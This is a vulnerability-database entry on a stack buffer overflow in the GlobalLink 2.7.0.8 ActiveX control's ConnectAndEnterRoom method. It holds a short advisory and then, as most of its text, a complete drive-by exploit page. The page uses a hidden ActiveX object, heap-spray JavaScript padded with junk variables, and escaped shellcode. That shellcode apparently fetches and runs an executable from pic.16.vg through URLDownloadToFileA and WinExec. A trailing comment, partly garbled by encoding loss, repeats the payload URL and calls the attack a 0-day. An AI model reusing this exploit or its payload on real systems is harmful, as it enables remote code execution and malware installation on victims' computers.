GlobalLink 2.7.0.8 ConnectAndEnterRoom ActiveX Control Stack Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
GlobalLink 2.7.0.8 ActiveX Buffer Overflow Vulnerabilit

                                                source: http://www.securityfocus.com/bid/26244/info

GlobalLink is prone to a stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

GlobalLink 2.7.0.8 is affected by this issue; other versions may also be vulnerable. 

&#60;body&#62; &#60;script&#62;window.onerror=function(){return true;}&#60;/script&#62; &#60;object classid=&#34;clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69&#34; style=&#39;display:none&#39; id=&#39;target&#39;&#62;&#60;/object&#62; &#60;SCRIPT language=&#34;javascript&#34;&#62; var shellcode = unescape(&#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u9090&#34;+&#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u9090&#34;+ &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%uefe9&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0000&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5a00&#34;+&#34;&#34;+&#34;&#34;+&#34;%ua164&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0030&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0000&#34;+&#34;&#34;+&#34;&#34;+&#34;%u408b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8b0c&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u1c70&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8bad&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0840&#34;+&#34;&#34;+&#34;&#34;+&#34;%ud88b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u738b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8b3c&#34;+&#34;&#34;+&#34;&#34;+&#34;%u1e74&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0378&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8bf3&#34;+&#34;&#34;+&#34;&#34;+&#34;%u207e&#34;+&#34;&#34;+&#34;&#34;+&#34;%ufb03&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4e8b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3314&#34;+&#34;&#34;+&#34;&#34;+&#34;%u56ed&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5157&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3f8b&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%ufb03&#34;+&#34;&#34;+&#34;&#34;+&#34;%uf28b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0e6a&#34;+&#34;&#34;+&#34;&#34;+&#34;%uf359&#34;+&#34;&#34;+&#34;&#34;+&#34;%u74a6&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5908&#34;+&#34;&#34;+&#34;&#34;+&#34;%u835f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u04c7&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%ue245&#34;+&#34;&#34;+&#34;&#34;+&#34;%u59e9&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5e5f&#34;+&#34;&#34;+&#34;&#34;+&#34;%ucd8b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u468b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0324&#34;+&#34;&#34;+&#34;&#34;+&#34;%ud1c3&#34;+&#34;&#34;+&#34;&#34;+&#34;%u03e1&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u33c1&#34;+&#34;&#34;+&#34;&#34;+&#34;%u66c9&#34;+&#34;&#34;+&#34;&#34;+&#34;%u088b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u468b&#34;+&#34;&#34;+&#34;&#34;+&#34;%u031c&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc1c3&#34;+&#34;&#34;+&#34;&#34;+&#34;%u02e1&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc103&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u008b%uc303&#34;+&#34;&#34;+&#34;&#34;+&#34;%ufa8b&#34;+&#34;&#34;+&#34;&#34;+&#34;%uf78b&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc683&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8b0e&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6ad0&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5904&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6ae8&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0000&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8300&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0dc6&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5652&#34;+&#34;&#34;+&#34;&#34;+&#34;%u57ff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5afc&#34;+&#34;&#34;+&#34;&#34;+&#34;%ud88b&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u016a&#34;+&#34;&#34;+&#34;&#34;+&#34;%ue859&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0057&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0000&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc683&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5613&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8046&#34;+&#34;&#34;+&#34;&#34;+&#34;%u803e&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%ufa75&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3680&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5e80&#34;+&#34;&#34;+&#34;&#34;+&#34;%uec83&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8b40&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc7dc&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6303&#34;+&#34;&#34;+&#34;&#34;+&#34;%u646d&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4320&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4343&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6643&#34;+&#34;&#34;+&#34;&#34;+&#34;%u03c7&#34;+&#34;&#34;+&#34;&#34;+&#34;%u632f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4343&#34;+&#34;&#34;+&#34;&#34;+&#34;%u03c6&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4320&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u206a&#34;+&#34;&#34;+&#34;&#34;+&#34;%uff53&#34;+&#34;&#34;+&#34;&#34;+&#34;%uec57&#34;+&#34;&#34;+&#34;&#34;+&#34;%u04c7&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5c03&#34;+&#34;&#34;+&#34;&#34;+&#34;%u2e61&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc765&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0344&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7804&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0065&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3300&#34;+&#34;&#34;+&#34;&#34;+&#34;%u50c0&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5350&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5056&#34;+&#34;&#34;+&#34;&#34;+&#34;%u57ff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8bfc&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6adc&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5300%u57ff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u68f0&#34;+&#34;&#34;+&#34;&#34;+&#34;%u2451&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0040&#34;+&#34;&#34;+&#34;&#34;+&#34;%uff58&#34;+&#34;&#34;+&#34;&#34;+&#34;%u33d0&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%uacc0&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc085&#34;+&#34;&#34;+&#34;&#34;+&#34;%uf975&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5251&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5356&#34;+&#34;&#34;+&#34;&#34;+&#34;%ud2ff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u595a&#34;+&#34;&#34;+&#34;&#34;+&#34;%ue2ab&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u33ee&#34;+&#34;&#34;+&#34;&#34;+&#34;%uc3c0&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0ce8&#34;+&#34;&#34;+&#34;&#34;+&#34;%uffff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u47ff&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7465&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7250&#34;+&#34;&#34;+&#34;&#34;+&#34;%u636f&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6441&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7264&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7365&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0073&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6547&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5374&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7379&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6574&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u446d&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7269&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6365&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6f74&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7972&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0041&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6957&#34;+&#34;&#34;+&#34;&#34;+&#34;%u456e&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6578&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0063&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7845&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7469&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6854&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6572&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6461&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4c00&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u616f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4c64&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6269&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6172%u7972&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0041&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7275&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6d6c&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6e6f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u5500&#34;+&#34;&#34;+&#34;&#34;+&#34;%u4c52&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6f44&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6e77&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6f6c&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6461&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6f54&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6946&#34;+&#34;&#34;+&#34;&#34;+&#34;%u656c&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0041&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7468&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7074&#34;+&#34;&#34;+&#34;&#34;+&#34;%u2f3a&#34;+&#34;&#34;+&#34;&#34;+&#34;%u702f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6369&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u312e%u2e36&#34;+&#34;&#34;+&#34;&#34;+&#34;%u6776&#34;+&#34;&#34;+&#34;&#34;+&#34;%u532f&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3633&#34;+&#34;&#34;+&#34;&#34;+&#34;%u2f38&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3353&#34;+&#34;&#34;+&#34;&#34;+&#34;%u3836&#34; + &#34;&#34;+&#34;&#34;+&#34;&#34;+&#34;%u2e32&#34;+&#34;&#34;+&#34;&#34;+&#34;%u7865&#34;+&#34;&#34;+&#34;&#34;+&#34;%u8065&#34;+&#34;&#34;+&#34;&#34;+&#34;%u0000&#34;); &#60;/script&#62; &#60;SCRIPT language=&#34;javascript&#34;&#62; var fsk51d2sl = &#34;63e23c122&#34;; var bigblock = unescape(&#34;&#34;+&#34;&#34;+&#34;%u9090&#34;+&#34;&#34;+&#34;%u9090&#34;); var fsk51d2sl = &#34;63e23c122&#34;; var headersize = 20; var fsk51d2sl = &#34;63e23c122&#34;; var slackspace = headersize+shellcode.length; var fsk51d2sl = &#34;63e23c122&#34;; while (bigblock.length&#60;slackspace) bigblock+=bigblock; var fsk51d2sl = &#34;63e23c122&#34;; fillblock = bigblock.substring(0, slackspace); var fsk51d2sl = &#34;63e23c122&#34;; block = bigblock.substring(0, bigblock.length-slackspace); var fsk51d2sl = &#34;63e23c122&#34;; while(block.length+slackspace&#60;0x40000) block = block+block+fillblock; var fsk51d2sl = &#34;63e23c122&#34;; memory = new Array(); var fsk51d2sl = &#34;63e23c122&#34;; for (x=0; x&#60;300; x++) memory[x] = block +shellcode; var fsk51d2sl = &#34;63e23c122&#34;; var buffer = &#39;&#39;; var fsk51d2sl = &#34;63e23c122&#34;; while (buffer.length &#60; 164) buffer+=&#34;A&#34;; var fsk51d2sl = &#34;63e23c122&#34;; buffer=buffer+&#34;\x0a\x0a\x0a\x0a&#34;+buffer; var fsk51d2sl = &#34;63e23c122&#34;; ok=&#34;ok&#34;; var fsk51d2sl = &#34;63e23c122&#34;; target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok ); var fsk51d2sl = &#34;63e23c122&#34;; &#60;/script? &#60;/body&#62; &#60;mEtA Http-Equiv=&#34;Content-TypE&#34; content=&#34;TeXt/htMl; CharSet=Us-AsCiI&#34; /&#62; /************************************************************************************************** ????????C:\Program Files\GlobalLink\Game\Share\GLChat.ocx, GlobalLink ? CLSID:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69 ??????? http://pic.16.vg/S368/S3682.exe ??????Exploits???????????????0-Day /**************************************************************************************************
01 Jul 2014 00:00Current
6.7Medium risk
Vulners AI Score6.7